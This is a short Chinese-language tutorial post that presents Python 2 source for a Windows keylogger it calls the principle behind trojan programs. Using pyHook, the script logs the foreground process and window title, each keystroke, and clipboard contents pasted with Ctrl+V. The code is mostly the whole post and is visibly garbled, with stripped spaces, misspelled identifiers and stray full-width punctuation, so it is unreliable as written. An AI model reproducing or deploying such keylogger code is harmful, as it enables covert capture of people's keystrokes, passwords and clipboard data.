Python告诉你木马程序的键盘记录原理
前言
Pythonkeylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook，然后就是对windowsAPI的各种调用。Python之所以用起来方便快捷，主要归功于这些庞大的支持库，正所谓"人生苦短，快用Python"。
#-*-coding:utf-8-*-
fromctypesinport
importpythoncom
importpyHook
importwin32clipboard
user32=winddll.user32
kernel32=windll.kernel32
psapi=windll.psapi
current_window=Note
defget_current_process():
#获取最上层的窗句柄
hwnd=user32.GetForegroundWindow()
#获取进程ID
pid=c_ulong(0)
user32.GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_="%d"%pid.value
#申请内存
executable=create_string_buffer("\x00"*522)
h_process=kernel32.OpenProcess(0x400|0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title=create_string_buffer("\x00",512)
length=user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print"[PID:%s-%s-%s]"%(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
defKeyStroke(event):
globalcurrent_window
#检测目标窗口是否转移（换了其他窗口就监听新窗口）
ifevent,WindowName!=current_window:
current_window=event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键（非组合键等）
ifevent.Ascii>32andenent.Ascii<127：
printchr(event.Ascii),
else:
#如果发现ctrl+V事件，就粘贴板内容记录下来
ifevent.Key=="V"
win32clipboard.OpenClipdoard()
pasted_value=win32clipdoard.GetClipdoardData()
win32clipdoard.CloseClipboard()
print"[PASTE]-%s"%(pasted_value)，
else:
print"[%s]"%event.Key，
循环监听下一个事件
returnTrue
#创建并注册hook管理器
kl=pyHook.HookManager()
kl.KeyDown=KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()
总结
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，谢谢大家对毛票票的支持。如果你想了解更多相关内容请查看下面相关链接